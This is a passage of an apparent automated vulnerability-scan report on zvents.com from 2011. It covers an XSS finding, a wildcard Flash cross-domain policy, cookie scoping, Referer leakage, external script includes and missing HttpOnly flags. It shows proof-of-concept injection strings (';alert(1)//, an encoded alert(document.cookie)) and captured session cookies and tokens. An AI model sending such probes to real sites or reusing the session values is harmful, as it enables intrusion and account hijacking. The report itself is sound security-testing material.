s_zv.prop2='';
s_zv.prop3='this year';
s_zv.prop4='50';
s_zv.prop5='0';
s_zv.prop6='any';
s_zv.prop7='0';
s_zv.prop8='new';
s_zv.prop9='';
s_zv.prop11='9609f';alert(1)//26ad6526930:this year::50';
s
...[SNIP]...

3. Flash cross-domain policy  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.zvents.com
Path:   /crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

Request

GET /crossdomain.xml HTTP/1.0
Host: www.zvents.com

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sat, 04 Jun 2011 15:31:45 GMT
Content-Type: text/xml
Content-Length: 201
Last-Modified: Wed, 13 Feb 2008 03:19:32 GMT
Connection: keep-alive
Expires: Sun, 05 Jun 2011 15:31:45 GMT
Cache-Control: max-age=86400
Accept-Ranges: bytes

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
...[SNIP]...

4. Cookie scoped to parent domain  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.zvents.com
Path:   /zat

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

Request

GET /zat?r=&url=http%3A%2F%2Fwww.zvents.com%2Fz%2Fdallas-tx&sid=13072009388160.9879527040757239&uid=13072009388160.47913454147055745&flavor=zvents_uexweb&ploc=Dallas%2C%20TX&uloc=Dallas%2C%20TX&pt=homepage&pid=0&src=zmp&type=click&cm=slideshow&from=e%3A176249825&to=e%3A176249825&sp=0&oids=&__t=1307201525337 HTTP/1.1
Host: www.zvents.com
Proxy-Connection: keep-alive
Referer: http://www.zvents.com/z/dallas-tx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.71 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1309792431195%26vn%3D1; __qca=P0-173589948-1307200432075; s_vi=[CS]v1|26F525D7051D281A-4000010B4014198C[CE]; user_of_classic=1307200934; z_zv_auth=c82f4018b9f6528353a805e4da173831BAh7BjoMdXNlcl9pZGkA; show_redirect_modal=1307200934; __gads=ID=70f58792d242cba3:T=1307200942:S=ALNI_Maqevikt9p17WqGQ610pwUz1vt3Lw; cf=4; __utmz=48628589.1307200959.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); c_m=NoneDirect%20LoadDirect%20Load; s_sq=zvproduex%3D%2526pid%253Dhomepage%2526pidt%253D1%2526oid%253Dhttp%25253A//www.zvents.com/z/dallas-tx%252523f0%2526ot%253DA; welcome=17emJAVAmFkjNzuktxOEvA.110989409; s_cc=true; SC_LINKS=undefined%5E%5EZvents%3A%20Discover%20Things%20To%20Do%5E%5Eundefined%20%7C%20Zvents%3A%20Discover%20Things%20To%20Do%5E%5E; s_invisit=true; came_from_classic=1307201518; _zsess=BAh7BzoPc2Vzc2lvbl9pZCIlOGIwNDEyODlhMzJhZDFhNzY0ZmMwMzYwNWNkZTJiODkiDWxvY2F0aW9uexAiC3JhZGl1c2lQIgljaXR5IgtEYWxsYXMiCmVycm9yRiINbGF0aXR1ZGVmFzMyLjc4MjUwMTIyMDcwMzEyNSITZGlzcGxheV9zdHJpbmciD0RhbGxhcywgVFgiDXRpbWV6b25lIhZBbWVyaWNhL01vbnRlcnJleSISZGlzdGFuY2VfdW5pdCIKbWlsZXMiDGNvdW50cnkiElVuaXRlZCBTdGF0ZXMiDmxvbmdpdHVkZWYYLTk2LjgyMDcwMTU5OTEyMTA5NCIRd2hlcmVfc3RyaW5nQBAiCnN0YXRlIgdUWA%3D%3D--37c74f5a1342da98c23e4ccfad7410b5a8777c23; flavor=new; user_location=dallas-tx; _uex_web_session=BAh7B0kiD3Nlc3Npb25faWQGOgZFRiIlMmZiNjgxZmFiMTcyMzFiNThmMzZhMTlhZjUwODY3ZTlJIhxwcmV2aW91c191c2VyX2xvY2F0aW9ucwY7AEZbAA%3D%3D--9a3b91bdc9716dd6d98e9bb064fc8f0bb061b4a3; __utma=48628589.1488827615.1307200942.1307200942.1307200942.1; __utmc=48628589; __utmb=48628589.12.9.1307201525336

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sat, 04 Jun 2011 15:32:06 GMT
Content-Type: image/gif
Connection: keep-alive
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: welcome=17emJAVAmFkjNzuktxOEvA.110989409;Path=/;Domain=zvents.com;Expires=Mon, 27-May-41 15:32:06 GMT
Content-Length: 42

GIF89a.............!.......,...........D.;

5. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.zvents.com
Path:   /z/javascripts/head.js

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /z/javascripts/head.js?1306866706 HTTP/1.1
Host: www.zvents.com
Proxy-Connection: keep-alive
Referer: http://www.zvents.com/z/dallas-tx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.71 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: zvents_tracker_sid=13072009388160.9879527040757239; s_vnum=1309792431195%26vn%3D1; __qca=P0-173589948-1307200432075; s_vi=[CS]v1|26F525D7051D281A-4000010B4014198C[CE]; user_of_classic=1307200934; came_from_classic=1307200934; _zsess=BAh7BzoPc2Vzc2lvbl9pZCIlOGIwNDEyODlhMzJhZDFhNzY0ZmMwMzYwNWNkZTJiODkiDWxvY2F0aW9uexAiCWNpdHkiC0RhbGxhcyILcmFkaXVzaVAiDWxhdGl0dWRlZhczMi43ODI1MDEyMjA3MDMxMjUiCmVycm9yRiISZGlzdGFuY2VfdW5pdCIKbWlsZXMiDXRpbWV6b25lIhZBbWVyaWNhL01vbnRlcnJleSITZGlzcGxheV9zdHJpbmciD0RhbGxhcywgVFgiDGNvdW50cnkiElVuaXRlZCBTdGF0ZXMiDmxvbmdpdHVkZWYYLTk2LjgyMDcwMTU5OTEyMTA5NCIRd2hlcmVfc3RyaW5nQBQiCnN0YXRlIgdUWA%3D%3D--f569052f807034f9c4140c9935bcff7759242a94; z_zv_auth=c82f4018b9f6528353a805e4da173831BAh7BjoMdXNlcl9pZGkA; show_redirect_modal=1307200934; __gads=ID=70f58792d242cba3:T=1307200942:S=ALNI_Maqevikt9p17WqGQ610pwUz1vt3Lw; cf=4; __utmz=48628589.1307200959.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); c_m=NoneDirect%20LoadDirect%20Load; s_sq=zvproduex%3D%2526pid%253Dhomepage%2526pidt%253D1%2526oid%253Dhttp%25253A//www.zvents.com/z/dallas-tx%252523f0%2526ot%253DA; user_location=dallas-tx; __utma=48628589.1488827615.1307200942.1307200942.1307200942.1; __utmc=48628589; __utmb=48628589.11.9.1307201081073; welcome=17emJAVAmFkjNzuktxOEvA.110989409; s_cc=true; SC_LINKS=undefined%5E%5EZvents%3A%20Discover%20Things%20To%20Do%5E%5Eundefined%20%7C%20Zvents%3A%20Discover%20Things%20To%20Do%5E%5E; s_invisit=true; flavor=new; _uex_web_session=BAh7B0kiD3Nlc3Npb25faWQGOgZFRiIlMmZiNjgxZmFiMTcyMzFiNThmMzZhMTlhZjUwODY3ZTlJIhxwcmV2aW91c191c2VyX2xvY2F0aW9ucwY7AEZbAA%3D%3D--9a3b91bdc9716dd6d98e9bb064fc8f0bb061b4a3

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sat, 04 Jun 2011 15:31:45 GMT
Content-Type: application/x-javascript
Last-Modified: Tue, 31 May 2011 18:31:44 GMT
Connection: keep-alive
Expires: Sun, 05 Jun 2011 15:31:45 GMT
Cache-Control: max-age=86400
Content-Length: 106541

if (typeof Zvents == "undefined") {
Zvents = {};
}
if (typeof ZventsNew == "undefined") {
ZventsNew = {};
}
if (typeof ZWidgets == "undefined") {
ZWidgets = {};
}
if (typeof $ZJQuery == "u
...[SNIP]...
</script>', '<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
...[SNIP]...

6. Cross-domain script include  previous  next
There are 3 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


6.1. http://www.zvents.com/z/dallas-tx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.zvents.com
Path:   /z/dallas-tx

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /z/dallas-tx HTTP/1.1
Host: www.zvents.com
Proxy-Connection: keep-alive
Referer: http://www.zvents.com/z/stylesheets/f104f%2527%253balert%2528document.cookie%2529%252f%252fb63573def9e?1307040452
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.71 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: zvents_tracker_sid=13072009388160.9879527040757239; s_vnum=1309792431195%26vn%3D1; __qca=P0-173589948-1307200432075; s_vi=[CS]v1|26F525D7051D281A-4000010B4014198C[CE]; user_of_classic=1307200934; came_from_classic=1307200934; _zsess=BAh7BzoPc2Vzc2lvbl9pZCIlOGIwNDEyODlhMzJhZDFhNzY0ZmMwMzYwNWNkZTJiODkiDWxvY2F0aW9uexAiCWNpdHkiC0RhbGxhcyILcmFkaXVzaVAiDWxhdGl0dWRlZhczMi43ODI1MDEyMjA3MDMxMjUiCmVycm9yRiISZGlzdGFuY2VfdW5pdCIKbWlsZXMiDXRpbWV6b25lIhZBbWVyaWNhL01vbnRlcnJleSITZGlzcGxheV9zdHJpbmciD0RhbGxhcywgVFgiDGNvdW50cnkiElVuaXRlZCBTdGF0ZXMiDmxvbmdpdHVkZWYYLTk2LjgyMDcwMTU5OTEyMTA5NCIRd2hlcmVfc3RyaW5nQBQiCnN0YXRlIgdUWA%3D%3D--f569052f807034f9c4140c9935bcff7759242a94; z_zv_auth=c82f4018b9f6528353a805e4da173831BAh7BjoMdXNlcl9pZGkA; show_redirect_modal=1307200934; __gads=ID=70f58792d242cba3:T=1307200942:S=ALNI_Maqevikt9p17WqGQ610pwUz1vt3Lw; cf=4; __utmz=48628589.1307200959.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); c_m=NoneDirect%20LoadDirect%20Load; s_sq=zvproduex%3D%2526pid%253Dhomepage%2526pidt%253D1%2526oid%253Dhttp%25253A//www.zvents.com/z/dallas-tx%252523f0%2526ot%253DA; user_location=dallas-tx; __utma=48628589.1488827615.1307200942.1307200942.1307200942.1; __utmc=48628589; __utmb=48628589.11.9.1307201081073; flavor=new; _uex_web_session=BAh7B0kiD3Nlc3Npb25faWQGOgZFRiIlMmZiNjgxZmFiMTcyMzFiNThmMzZhMTlhZjUwODY3ZTlJIhxwcmV2aW91c191c2VyX2xvY2F0aW9ucwY7AEZbAA%3D%3D--9a3b91bdc9716dd6d98e9bb064fc8f0bb061b4a3; welcome=17emJAVAmFkjNzuktxOEvA.110989409; s_cc=true; SC_LINKS=undefined%5E%5EZvents%3A%20Discover%20Things%20To%20Do%5E%5Eundefined%20%7C%20Zvents%3A%20Discover%20Things%20To%20Do%5E%5E; s_invisit=true
If-None-Match: "8cd156f59adde2690e07f05d5012ec3e"

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sat, 04 Jun 2011 15:31:44 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Status: 200 OK
ETag: "fd8942031b2ce6d45e04919075009f7f"
Cache-Control: max-age=0, private, must-revalidate
X-UA-Compatible: IE=Edge,chrome=1
Set-Cookie: flavor=new; path=/; expires=Wed, 04-Jun-2031 15:31:44 GMT
Set-Cookie: _uex_web_session=BAh7B0kiD3Nlc3Npb25faWQGOgZFRiIlMmZiNjgxZmFiMTcyMzFiNThmMzZhMTlhZjUwODY3ZTlJIhxwcmV2aW91c191c2VyX2xvY2F0aW9ucwY7AEZbAA%3D%3D--9a3b91bdc9716dd6d98e9bb064fc8f0bb061b4a3; path=/; HttpOnly
X-Runtime: 0.300303
Content-Length: 82081

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns:fb='http://www.facebook.com/2008/fbml' xmlns='http://www.w3.org/1999/xhtml'>
<
...[SNIP]...
</script>

<script src="http://partner.googleadservices.com/gampad/google_service.js" type="text/javascript"></script>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js" type="text/javascript"></script>
...[SNIP]...
<div class='ad_comp'>
<script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'>
</script>
...[SNIP]...
</script>

<script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'>
</script>
...[SNIP]...
<div class='ad_comp'>
<script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'>
</script>
...[SNIP]...
</script>


<script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'>
</script>
...[SNIP]...
<div class='ad_comp'>
<script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'>
</script>
...[SNIP]...
</script>

<script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'>
</script>
...[SNIP]...
</script>
<script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'>
</script>
...[SNIP]...
</div>

<script src='http://edge.quantserve.com/quant.js' type='text/javascript'></script>
...[SNIP]...
</div>


<script src="http://maps.google.com/maps/api/js?sensor=false" type="text/javascript"></script>
<script src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.8.12/jquery-ui.min.js" type="text/javascript"></script>
...[SNIP]...

6.2. http://www.zvents.com/z/dallas-tx/theater_arts  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.zvents.com
Path:   /z/dallas-tx/theater_arts

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /z/dallas-tx/theater_arts HTTP/1.1
Host: www.zvents.com
Proxy-Connection: keep-alive
Referer: http://www.zvents.com/z/dallas-tx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.71 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: zvents_tracker_sid=13072009388160.9879527040757239; s_vnum=1309792431195%26vn%3D1; __qca=P0-173589948-1307200432075; s_vi=[CS]v1|26F525D7051D281A-4000010B4014198C[CE]; user_of_classic=1307200934; z_zv_auth=c82f4018b9f6528353a805e4da173831BAh7BjoMdXNlcl9pZGkA; show_redirect_modal=1307200934; __gads=ID=70f58792d242cba3:T=1307200942:S=ALNI_Maqevikt9p17WqGQ610pwUz1vt3Lw; __utmz=48628589.1307200959.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); came_from_classic=1307201518; _zsess=BAh7BzoPc2Vzc2lvbl9pZCIlOGIwNDEyODlhMzJhZDFhNzY0ZmMwMzYwNWNkZTJiODkiDWxvY2F0aW9uexAiC3JhZGl1c2lQIgljaXR5IgtEYWxsYXMiCmVycm9yRiINbGF0aXR1ZGVmFzMyLjc4MjUwMTIyMDcwMzEyNSITZGlzcGxheV9zdHJpbmciD0RhbGxhcywgVFgiDXRpbWV6b25lIhZBbWVyaWNhL01vbnRlcnJleSISZGlzdGFuY2VfdW5pdCIKbWlsZXMiDGNvdW50cnkiElVuaXRlZCBTdGF0ZXMiDmxvbmdpdHVkZWYYLTk2LjgyMDcwMTU5OTEyMTA5NCIRd2hlcmVfc3RyaW5nQBAiCnN0YXRlIgdUWA%3D%3D--37c74f5a1342da98c23e4ccfad7410b5a8777c23; user_location=dallas-tx; s_cc=true; cf=6; flavor=new; _uex_web_session=BAh7B0kiD3Nlc3Npb25faWQGOgZFRiIlMmZiNjgxZmFiMTcyMzFiNThmMzZhMTlhZjUwODY3ZTlJIhxwcmV2aW91c191c2VyX2xvY2F0aW9ucwY7AEZbAA%3D%3D--9a3b91bdc9716dd6d98e9bb064fc8f0bb061b4a3; __utma=48628589.1488827615.1307200942.1307200942.1307200942.1; __utmc=48628589; __utmb=48628589.27.5.1307201571587; welcome=17emJAVAmFkjNzuktxOEvA.110989409; SC_LINKS=homepage%5E%5ETHEATER%20%2B%20ARTS%5E%5Ehomepage%20%7C%20THEATER%20%2B%20ARTS%5E%5E; s_invisit=true; c_m=NoneDirect%20LoadDirect%20Load; s_sq=zvproduex%3D%2526pid%253Dhomepage%2526pidt%253D1%2526oid%253Dhttp%25253A//www.zvents.com/z/dallas-tx/theater_arts%2526ot%253DA

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sat, 04 Jun 2011 15:35:47 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Status: 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
ETag: "7dad5445e991e3dd4d97d6b273782204"
X-UA-Compatible: IE=Edge,chrome=1
Set-Cookie: flavor=new; path=/; expires=Wed, 04-Jun-2031 15:35:46 GMT
Set-Cookie: _uex_web_session=BAh7B0kiD3Nlc3Npb25faWQGOgZFRiIlMmZiNjgxZmFiMTcyMzFiNThmMzZhMTlhZjUwODY3ZTlJIhxwcmV2aW91c191c2VyX2xvY2F0aW9ucwY7AEZbAA%3D%3D--9a3b91bdc9716dd6d98e9bb064fc8f0bb061b4a3; path=/; HttpOnly
X-Runtime: 0.254811
Content-Length: 68063

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns:fb='http://www.facebook.com/2008/fbml' xmlns='http://www.w3.org/1999/xhtml'>
<
...[SNIP]...
</script>

<script src="http://partner.googleadservices.com/gampad/google_service.js" type="text/javascript"></script>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js" type="text/javascript"></script>
...[SNIP]...
<div class='ad_comp'>
<script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'>
</script>
...[SNIP]...
</script>

<script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'>
</script>
...[SNIP]...
<div class='ad_comp'>
<script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'>
</script>
...[SNIP]...
</script>


<script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'>
</script>
...[SNIP]...
<div class='ad_comp'>
<script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'>
</script>
...[SNIP]...
</script>

<script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'>
</script>
...[SNIP]...
</script>
<script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'>
</script>
...[SNIP]...
</div>

<script src='http://edge.quantserve.com/quant.js' type='text/javascript'></script>
...[SNIP]...
</div>


<script src="http://maps.google.com/maps/api/js?sensor=false" type="text/javascript"></script>
<script src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.8.12/jquery-ui.min.js" type="text/javascript"></script>
...[SNIP]...

6.3. http://www.zvents.com/z/javascripts/head.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.zvents.com
Path:   /z/javascripts/head.js

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /z/javascripts/head.js?1306866706 HTTP/1.1
Host: www.zvents.com
Proxy-Connection: keep-alive
Referer: http://www.zvents.com/z/dallas-tx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.71 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: zvents_tracker_sid=13072009388160.9879527040757239; s_vnum=1309792431195%26vn%3D1; __qca=P0-173589948-1307200432075; s_vi=[CS]v1|26F525D7051D281A-4000010B4014198C[CE]; user_of_classic=1307200934; came_from_classic=1307200934; _zsess=BAh7BzoPc2Vzc2lvbl9pZCIlOGIwNDEyODlhMzJhZDFhNzY0ZmMwMzYwNWNkZTJiODkiDWxvY2F0aW9uexAiCWNpdHkiC0RhbGxhcyILcmFkaXVzaVAiDWxhdGl0dWRlZhczMi43ODI1MDEyMjA3MDMxMjUiCmVycm9yRiISZGlzdGFuY2VfdW5pdCIKbWlsZXMiDXRpbWV6b25lIhZBbWVyaWNhL01vbnRlcnJleSITZGlzcGxheV9zdHJpbmciD0RhbGxhcywgVFgiDGNvdW50cnkiElVuaXRlZCBTdGF0ZXMiDmxvbmdpdHVkZWYYLTk2LjgyMDcwMTU5OTEyMTA5NCIRd2hlcmVfc3RyaW5nQBQiCnN0YXRlIgdUWA%3D%3D--f569052f807034f9c4140c9935bcff7759242a94; z_zv_auth=c82f4018b9f6528353a805e4da173831BAh7BjoMdXNlcl9pZGkA; show_redirect_modal=1307200934; __gads=ID=70f58792d242cba3:T=1307200942:S=ALNI_Maqevikt9p17WqGQ610pwUz1vt3Lw; cf=4; __utmz=48628589.1307200959.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); c_m=NoneDirect%20LoadDirect%20Load; s_sq=zvproduex%3D%2526pid%253Dhomepage%2526pidt%253D1%2526oid%253Dhttp%25253A//www.zvents.com/z/dallas-tx%252523f0%2526ot%253DA; user_location=dallas-tx; __utma=48628589.1488827615.1307200942.1307200942.1307200942.1; __utmc=48628589; __utmb=48628589.11.9.1307201081073; welcome=17emJAVAmFkjNzuktxOEvA.110989409; s_cc=true; SC_LINKS=undefined%5E%5EZvents%3A%20Discover%20Things%20To%20Do%5E%5Eundefined%20%7C%20Zvents%3A%20Discover%20Things%20To%20Do%5E%5E; s_invisit=true; flavor=new; _uex_web_session=BAh7B0kiD3Nlc3Npb25faWQGOgZFRiIlMmZiNjgxZmFiMTcyMzFiNThmMzZhMTlhZjUwODY3ZTlJIhxwcmV2aW91c191c2VyX2xvY2F0aW9ucwY7AEZbAA%3D%3D--9a3b91bdc9716dd6d98e9bb064fc8f0bb061b4a3

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sat, 04 Jun 2011 15:31:45 GMT
Content-Type: application/x-javascript
Last-Modified: Tue, 31 May 2011 18:31:44 GMT
Connection: keep-alive
Expires: Sun, 05 Jun 2011 15:31:45 GMT
Cache-Control: max-age=86400
Content-Length: 106541

if (typeof Zvents == "undefined") {
Zvents = {};
}
if (typeof ZventsNew == "undefined") {
ZventsNew = {};
}
if (typeof ZWidgets == "undefined") {
ZWidgets = {};
}
if (typeof $ZJQuery == "u
...[SNIP]...
</script>', '<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
...[SNIP]...

7. Cookie without HttpOnly flag set  previous  next
There are 3 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



7.1. http://www.zvents.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.zvents.com
Path:   /

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.zvents.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.71 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1309792431195%26vn%3D1; __qca=P0-173589948-1307200432075; s_vi=[CS]v1|26F525D7051D281A-4000010B4014198C[CE]; user_of_classic=1307200934; came_from_classic=1307200934; _zsess=BAh7BzoPc2Vzc2lvbl9pZCIlOGIwNDEyODlhMzJhZDFhNzY0ZmMwMzYwNWNkZTJiODkiDWxvY2F0aW9uexAiCWNpdHkiC0RhbGxhcyILcmFkaXVzaVAiDWxhdGl0dWRlZhczMi43ODI1MDEyMjA3MDMxMjUiCmVycm9yRiISZGlzdGFuY2VfdW5pdCIKbWlsZXMiDXRpbWV6b25lIhZBbWVyaWNhL01vbnRlcnJleSITZGlzcGxheV9zdHJpbmciD0RhbGxhcywgVFgiDGNvdW50cnkiElVuaXRlZCBTdGF0ZXMiDmxvbmdpdHVkZWYYLTk2LjgyMDcwMTU5OTEyMTA5NCIRd2hlcmVfc3RyaW5nQBQiCnN0YXRlIgdUWA%3D%3D--f569052f807034f9c4140c9935bcff7759242a94; z_zv_auth=c82f4018b9f6528353a805e4da173831BAh7BjoMdXNlcl9pZGkA; show_redirect_modal=1307200934; __gads=ID=70f58792d242cba3:T=1307200942:S=ALNI_Maqevikt9p17WqGQ610pwUz1vt3Lw; cf=4; __utmz=48628589.1307200959.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); c_m=NoneDirect%20LoadDirect%20Load; s_sq=zvproduex%3D%2526pid%253Dhomepage%2526pidt%253D1%2526oid%253Dhttp%25253A//www.zvents.com/z/dallas-tx%252523f0%2526ot%253DA; user_location=dallas-tx; __utma=48628589.1488827615.1307200942.1307200942.1307200942.1; __utmc=48628589; __utmb=48628589.11.9.1307201081073; welcome=17emJAVAmFkjNzuktxOEvA.110989409; s_cc=true; SC_LINKS=undefined%5E%5EZvents%3A%20Discover%20Things%20To%20Do%5E%5Eundefined%20%7C%20Zvents%3A%20Discover%20Things%20To%20Do%5E%5E; s_invisit=true; flavor=new; 